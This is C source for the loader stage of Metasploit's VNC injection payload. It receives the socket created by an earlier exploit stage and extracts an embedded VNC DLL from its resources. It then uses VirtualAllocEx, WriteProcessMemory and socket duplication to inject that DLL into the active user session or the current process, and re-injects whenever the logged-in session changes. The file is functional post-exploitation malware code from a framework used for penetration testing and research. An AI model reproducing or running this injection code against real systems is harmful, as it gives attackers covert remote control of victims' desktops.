metasploit-framework/external/source/vncdll/loader/loader.c

429 lines
14 KiB
C

// sf: March 2010.
#include "loader.h"
#include "context.h"
#include "ps.h"
#include "session.h"
#include "inject.h"
#include "ReflectiveLoader.h"
#define VNCFLAG_DISABLECOURTESYSHELL 1
#define VNCFLAG_DISABLESESSIONTRACKING 2
/*
* The HINSTANCE of this injected dll.
*/
extern HINSTANCE hAppInstance;
/*
* The socket created by stage one.
*/
SOCKET sock = INVALID_SOCKET;
/*
* Flag to disable following the active session as users log in an out of the input desktop.
*/
BOOL bDisableSessionTracking = FALSE;
/*
* The event that signals the remote client has closed the socket connection.
*/
HANDLE hSocketCloseEvent = NULL;
/*
* The event to terminate the vnc agent.
*/
HANDLE hAgentCloseEvent = NULL;
/*
* The process hosting the vnc agent.
*/
HANDLE hAgentProcess = NULL;
/*
* The rfb streams context we keep for the agent (see context.c)
*/
extern AGENT_CTX AgentContext;
/*
* Extract the vnc.dll into the provided DLL_BUFFER.
*/
DWORD loader_vncdll( DLL_BUFFER * pDllBuffer )
{
DWORD dwResult = ERROR_SUCCESS;
HRSRC hVncResource = NULL;
HGLOBAL hVncResourceLoad = NULL;
LPVOID lpVncDllBuffer = NULL;
DWORD dwVncDllSize = 0;
#ifdef _WIN64
DWORD dwCompiledArch = PROCESS_ARCH_X64;
#else
DWORD dwCompiledArch = PROCESS_ARCH_X86;
#endif
do
{
if( !pDllBuffer )
BREAK_WITH_ERROR( "[LOADER] Init. pDllBuffer is null", ERROR_INVALID_PARAMETER );
pDllBuffer->dwPE64DllLenght = 0;
pDllBuffer->lpPE64DllBuffer = NULL;
pDllBuffer->dwPE32DllLenght = 0;
pDllBuffer->lpPE32DllBuffer = NULL;
hVncResource = FindResource( (HMODULE)hAppInstance, "IDR_VNC_DLL", "IMG" );
if( !hVncResource )
BREAK_ON_ERROR( "[LOADER] Init. FindResource failed" );
dwVncDllSize = SizeofResource( (HMODULE)hAppInstance, hVncResource );
if( !dwVncDllSize )
BREAK_ON_ERROR( "[LOADER] Init. SizeofResource failed" );
hVncResourceLoad = LoadResource( (HMODULE)hAppInstance, hVncResource );
if( !hVncResourceLoad )
BREAK_ON_ERROR( "[LOADER] Init. LoadResource failed" );
lpVncDllBuffer = LockResource( hVncResourceLoad );
if( !lpVncDllBuffer )
BREAK_ON_ERROR( "[LOADER] Init. LockResource failed" );
dprintf( "[LOADER] Init. lpVncDllBuffer=0x%08X, dwVncDllSize=%d", lpVncDllBuffer, dwVncDllSize );
if( dwCompiledArch == PROCESS_ARCH_X64 )
{
pDllBuffer->dwPE64DllLenght = dwVncDllSize;
pDllBuffer->lpPE64DllBuffer = lpVncDllBuffer;
}
else if( dwCompiledArch == PROCESS_ARCH_X86 )
{
pDllBuffer->dwPE32DllLenght = dwVncDllSize;
pDllBuffer->lpPE32DllBuffer = lpVncDllBuffer;
}
} while( 0 );
SetLastError( dwResult );
return dwResult;
}
/*
* A pre injection hook called before our dll has been injected into a process.
*/
DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine )
{
DWORD dwResult = ERROR_SUCCESS;
LPVOID lpMemory = NULL;
AGENT_CTX RemoteAgentContext = {0};
int i = 0;
do
{
if( !hProcess || !cpCommandLine )
BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER );
// Use User32!WaitForInputIdle to slow things down so if it's a new
// process (like a new winlogon.exe) it can have a chance to initilize...
// Bad things happen if we inject into an uninitilized process.
WaitForInputIdle( hProcess, 10000 );
CLOSE_HANDLE( hAgentCloseEvent );
CLOSE_HANDLE( hAgentProcess );
memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) );
hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL );
if( !hAgentCloseEvent )
BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" );
if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) )
BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" )
dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock );
// Duplicate the socket for the target process
if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR )
BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" )
// Allocate memory for the migrate stub, context and payload
lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !lpMemory )
BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" )
/*for( i=0 ; i<4 ; i++ )
{
DWORD dwSize = 0;
if( !AgentContext.dictionaries[i] )
continue;
dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength );
RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !RemoteAgentContext.dictionaries[i] )
continue;
if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) )
RemoteAgentContext.dictionaries[i] = NULL;
}*/
// Write the ctx to memory...
if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) )
BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" )
hAgentProcess = hProcess;
_snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory );
} while( 0 );
if( dwResult != ERROR_SUCCESS )
{
dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" );
CLOSE_HANDLE( hAgentCloseEvent );
}
return dwResult;
}
/*
* Close the various global handles we created for the agent..
*/
VOID loader_agent_close( VOID )
{
CLOSE_HANDLE( hAgentCloseEvent );
CLOSE_HANDLE( hAgentProcess );
}
/*
* A post injection hook called after our dll has been injected into a process.
*/
DWORD loader_inject_post( DWORD dwPid, HANDLE hProcess, DWORD dwInjectResult )
{
do
{
// if we have successfully injected, run the io thread and return
if( dwInjectResult == ERROR_SUCCESS )
{
// we only want the agent to do the RFB initilization once (for the remote viewer)
if( AgentContext.bInit )
AgentContext.bInit = FALSE;
break;
}
// but if injection failed close the process handle
CLOSE_HANDLE( hProcess );
loader_agent_close();
} while( 0 );
return dwInjectResult;
}
/*
* Entry Point.
*/
DWORD Init( SOCKET s )
{
DWORD dwResult = ERROR_SUCCESS;
BOOL bTerminate = FALSE;
HANDLE hMessageThread = NULL;
DLL_BUFFER VncDllBuffer = {0};
char cCommandLine[MAX_PATH] = {0};
DWORD dwHostSessionId = 0;
DWORD dwActiveSessionId = 0;
DWORD dwAgentSessionId = 0xFFFFFFFF;
BYTE bFlags = 0;
__try
{
do
{
// We maintain state for the rfb stream so as not to desynchronize the remote
// client after session switching and the injection of multiple agents server side.
context_init();
sock = s;
if( sock == INVALID_SOCKET )
BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER );
if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" );
if( bFlags & VNCFLAG_DISABLECOURTESYSHELL )
AgentContext.bDisableCourtesyShell = TRUE;
if( bFlags & VNCFLAG_DISABLESESSIONTRACKING )
bDisableSessionTracking = TRUE;
dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags );
// get the vnc dll we will inject into the active session
if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" );
// create a socket event and have it signaled on FD_CLOSE
hSocketCloseEvent = WSACreateEvent();
if( hSocketCloseEvent == WSA_INVALID_EVENT )
BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" );
if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" );
// get the session id that our host process belongs to
dwHostSessionId = session_id( GetCurrentProcessId() );
hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL );
if( !hMessageThread )
BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" );
// loop untill the remote client closes the connection, creating a vnc
// server agent inside the active session upon the active session changing
while( !bTerminate )
{
// in case we have been waiting for a session to attach to the physical
// console and the remote client has quit, we detect this here...
if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 )
{
dprintf( "[LOADER] Init. Remote socket closed, terminating1..." );
break;
}
// get the session id for the interactive session
dwActiveSessionId = session_activeid();
// test if there is no session currently attached to the physical console...
if( dwActiveSessionId == 0xFFFFFFFF )
{
dprintf( "[LOADER] Init. no session currently attached to the physical console..." );
// just try to wait it out...
Sleep( 250 );
continue;
}
else if( dwActiveSessionId == dwAgentSessionId )
{
dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." );
// just try to wait it out...
Sleep( 250 );
continue;
}
// do the local process or session injection
if( dwHostSessionId != dwActiveSessionId )
{
dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId );
if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS )
BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED );
}
else
{
dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId );
if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS )
BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED );
}
dwAgentSessionId = dwActiveSessionId;
// loop, waiting for either the agents process to die, the remote socket to die or
// the active session to change...
while( TRUE )
{
HANDLE hEvents[2] = {0};
DWORD dwWaitResult = 0;
// wait for these event to be signaled or a timeout to occur...
hEvents[0] = hSocketCloseEvent;
hEvents[1] = hAgentProcess;
dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 );
// bail if we have somehow failed (e.g. invalid handle)
if( dwWaitResult == WAIT_FAILED )
{
dprintf( "[LOADER] Init. WaitForMultipleObjects failed." );
// if we cant synchronize we bail out...
bTerminate = TRUE;
break;
}
// if we have just timedout, test the current active session...
else if( dwWaitResult == WAIT_TIMEOUT )
{
// if the agent is still in the active session just continue...
if( dwAgentSessionId == session_activeid() )
continue;
// if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage)
if( bDisableSessionTracking )
{
dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." );
Sleep( 500 );
continue;
}
// if the agent is no longer in the active session we signal the agent to terminate
if( !ReleaseMutex( hAgentCloseEvent ) )
dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() );
dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." );
dwAgentSessionId = 0xFFFFFFFF;
// and we go inject a new agent into the new active session (or terminate if session tracking disabled)
loader_agent_close();
break;
}
// sanity check the result for an abandoned mutex
else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) )
{
dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 );
bTerminate = TRUE;
break;
}
else
{
// otherwise if we have an event signaled, handle it
switch( dwWaitResult - WAIT_OBJECT_0 )
{
case 0:
dprintf( "[LOADER] Init. Remote socket closed, terminating2..." );
bTerminate = TRUE;
if( !ReleaseMutex( hAgentCloseEvent ) )
dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() );
ReleaseMutex( hAgentCloseEvent );
break;
case 1:
dprintf( "[LOADER] Init. Injected agent's process has terminated..." );
loader_agent_close();
dwAgentSessionId = 0xFFFFFFFF;
break;
default:
dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult );
bTerminate = TRUE;
if( !ReleaseMutex( hAgentCloseEvent ) )
dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() );
break;
}
}
// get out of this loop...
break;
}
}
} while( 0 );
CLOSE_HANDLE( hSocketCloseEvent );
loader_agent_close();
closesocket( sock );
if( hMessageThread )
TerminateThread( hMessageThread, 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" );
}
dprintf( "[LOADER] Init. Finished." );
return dwResult;
}